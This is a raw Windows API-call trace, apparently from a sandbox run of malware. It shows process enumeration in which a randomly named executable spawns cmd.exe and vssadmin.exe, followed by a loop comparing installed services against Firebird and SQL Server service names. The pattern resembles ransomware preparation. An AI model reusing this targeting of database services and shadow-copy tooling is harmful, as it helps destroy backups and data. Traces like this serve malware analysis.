	[0173.662] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0173.662] lstrlenW (lpString="Memory Compression") returned 18
	[0173.662] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0173.663] lstrlenW (lpString="sihost.exe") returned 10
	[0173.663] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.663] lstrlenW (lpString="svchost.exe") returned 11
	[0173.663] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.664] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.664] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0173.664] lstrlenW (lpString="taskhostw.exe") returned 13
	[0173.664] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0173.665] lstrlenW (lpString="explorer.exe") returned 12
	[0173.665] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0173.665] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0173.665] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0173.666] lstrlenW (lpString="SearchUI.exe") returned 12
	[0173.666] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0173.666] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0173.666] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0173.666] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0173.667] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0173.667] lstrlenW (lpString="fvppjh.exe") returned 10
	[0173.667] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0173.668] lstrlenW (lpString="cmd.exe") returned 7
	[0173.668] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.668] lstrlenW (lpString="conhost.exe") returned 11
	[0173.668] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0173.668] lstrlenW (lpString="consent.exe") returned 11
	[0173.669] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0173.684] lstrlenW (lpString="vssadmin.exe") returned 12
	[0173.684] Process32NextW (in: hSnapshot=0x550, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0173.684] CloseHandle (hObject=0x550) returned 1
	[0173.684] Sleep (dwMilliseconds=0x1f4) 
	[0174.382] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0174.382] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0174.382] GetLastError () returned 0xea
	[0174.383] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0174.383] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0174.384] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0174.384] lstrlenW (lpString="Appinfo") returned 7
	[0174.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0174.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0174.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0174.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0174.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0174.384] lstrlenW (lpString="AppXSvc") returned 7
	[0174.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.384] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0174.384] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0174.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0174.384] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0174.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.384] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0174.385] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0174.385] lstrlenW (lpString="Audiosrv") returned 8
	[0174.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0174.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0174.385] lstrlenW (lpString="BFE") returned 3
	[0174.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0174.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0174.385] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0174.385] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0174.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0174.385] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0174.385] lstrlenW (lpString="CDPSvc") returned 6
	[0174.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0174.385] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0174.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0174.385] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0174.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0174.386] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0174.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0174.386] lstrlenW (lpString="CryptSvc") returned 8
	[0174.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0174.386] lstrlenW (lpString="DcomLaunch") returned 10
	[0174.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0174.386] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0174.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0174.386] lstrlenW (lpString="Dhcp") returned 4
	[0174.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0174.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0174.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0174.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0174.387] lstrlenW (lpString="Dnscache") returned 8
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0174.387] lstrlenW (lpString="DPS") returned 3
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0174.387] lstrlenW (lpString="DusmSvc") returned 7
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0174.387] lstrlenW (lpString="EventLog") returned 8
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0174.387] lstrlenW (lpString="EventSystem") returned 11
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0174.387] lstrlenW (lpString="FontCache") returned 9
	[0174.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0174.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0174.387] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0174.387] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0174.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0174.388] lstrlenW (lpString="gpsvc") returned 5
	[0174.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0174.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0174.388] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0174.388] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0174.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0174.388] lstrlenW (lpString="iphlpsvc") returned 8
	[0174.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.388] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0174.388] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0174.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0174.388] lstrlenW (lpString="KeyIso") returned 6
	[0174.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0174.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0174.388] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0174.388] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0174.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0174.388] lstrlenW (lpString="LanmanServer") returned 12
	[0174.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.388] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0174.388] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0174.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0174.388] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0174.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.388] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0174.388] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0174.389] lstrlenW (lpString="lfsvc") returned 5
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0174.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0174.389] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0174.389] lstrlenW (lpString="lmhosts") returned 7
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0174.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0174.389] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0174.389] lstrlenW (lpString="LSM") returned 3
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0174.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0174.389] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0174.389] lstrlenW (lpString="MpsSvc") returned 6
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0174.389] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0174.389] lstrlenW (lpString="NcbService") returned 10
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0174.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0174.389] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0174.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0174.389] lstrlenW (lpString="netprofm") returned 8
	[0174.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0174.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0174.390] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0174.390] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0174.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0174.390] lstrlenW (lpString="NgcSvc") returned 6
	[0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0174.417] lstrlenW (lpString="NlaSvc") returned 6
	[0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0174.418] lstrlenW (lpString="nsi") returned 3
	[0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0174.418] lstrlenW (lpString="PcaSvc") returned 6
	[0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0174.418] lstrlenW (lpString="PlugPlay") returned 8
	[0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0174.418] lstrlenW (lpString="Power") returned 5
	[0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0174.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0174.418] lstrlenW (lpString="ProfSvc") returned 7
	[0174.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0174.419] lstrlenW (lpString="RpcEptMapper") returned 12
	[0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0174.419] lstrlenW (lpString="RpcSs") returned 5
	[0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0174.419] lstrlenW (lpString="SamSs") returned 5
	[0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
